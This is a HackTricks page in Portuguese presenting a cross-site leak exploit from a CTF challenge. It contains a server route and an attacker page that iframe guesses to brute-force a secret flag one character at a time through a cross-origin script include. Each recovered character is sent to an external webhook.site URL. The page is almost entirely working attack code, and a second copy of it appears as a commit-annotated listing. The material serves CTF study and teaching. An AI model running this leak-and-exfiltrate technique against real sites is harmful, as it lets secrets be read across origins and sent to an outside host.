hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md

# Execução de JavaScript XS Leak

<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>
```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
});
```
Página principal que gera iframes para a página anterior `/guessing` para testar cada possibilidade
```html
<html>
<head>
<script>
let candidateIsGood = false;
let candidate = ''
let flag = 'bi0sctf{'
let guessIndex = -1

let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
}

//Start with true and will be change to false if wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch('https://webhook.site/<yours-goes-here>')
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
console.log('iframe: ', iframe)
hack.innerHTML = iframe
}
, 500);
</script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```
<details>

<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`# Execução de JavaScript XS Leak`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`<details>`

Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:10:17 +00:00			`<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			`* Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os [PLANOS DE ASSINATURA](https://github.com/sponsors/carlospolop)!`
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`* Descubra [A Família PEASS](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Adquira o [swag oficial do PEASS & HackTricks](https://peass.creator-spring.com)`
Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil 2024-02-08 04:35:32 +00:00			`* Junte-se ao [💬](https://emojipedia.org/speech-balloon/) [grupo Discord](https://discord.gg/hRep4RUj7f) ou ao [grupo telegram](https://t.me/peass) ou siga-me no Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			`* Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`
			```javascript
			`// Code that will try ${guess} as flag (need rest of the server code`
			`app.get('/guessing', function(req, res) {`
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			`let guess = req.query.guess`
			let page = `<html>
			`<head>`
			`<script>`
			`function foo() {`
			`// If not the flag this will be executed`
			`window.parent.foo()`
			`}`
			`</script>`
			`<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>`
			`</head>`
			`<p>hello2</p>`
			</html>`
			`res.send(page)`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`});`
			```
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			Página principal que gera iframes para a página anterior `/guessing` para testar cada possibilidade
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			```html
			`<html>`
			`<head>`
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			`<script>`
			`let candidateIsGood = false;`
			`let candidate = ''`
			`let flag = 'bi0sctf{'`
			`let guessIndex = -1`

			`let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			`// this will get called from our iframe IF the candidate is WRONG`
			`function foo() {`
			`candidateIsGood = false`
			`}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			`timerId = setInterval(() => {`
			`if (candidateIsGood) {`
			`flag = candidate`
			`guessIndex = -1`
			`fetch('https://webhook.site/<yours-goes-here>?flag='+flag)`
			`}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			`//Start with true and will be change to false if wrong`
			`candidateIsGood = true`
			`guessIndex++`
			`if (guessIndex >= flagChars.length) {`
			`fetch('https://webhook.site/<yours-goes-here>')`
			`return`
			`}`
			`let guess = flagChars[guessIndex]`
			`candidate = flag + guess`
			let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
			`console.log('iframe: ', iframe)`
			`hack.innerHTML = iframe`
			`}`
			`, 500);`
			`</script>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`</head>`
			`<p>hello</p>`
			`<div id="hack">`
			`</div>`
			`</html>`
			```
			`<details>`

Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:10:17 +00:00			`<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:10:17 +00:00			`* Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os [PLANOS DE ASSINATURA](https://github.com/sponsors/carlospolop)!`
Translated to Portuguese 2023-06-06 18:56:34 +00:00			`* Descubra [A Família PEASS](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [NFTs](https://opensea.io/collection/the-peass-family)`
			`* Adquira o [swag oficial do PEASS & HackTricks](https://peass.creator-spring.com)`
Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:10:17 +00:00			`* Junte-se ao [💬](https://emojipedia.org/speech-balloon/) [grupo Discord](https://discord.gg/hRep4RUj7f) ou ao [grupo telegram](https://t.me/peass) ou siga-me no Twitter 🐦[@carlospolopm](https://twitter.com/hacktricks_live).`
Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u 2024-02-07 04:39:38 +00:00			`* Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`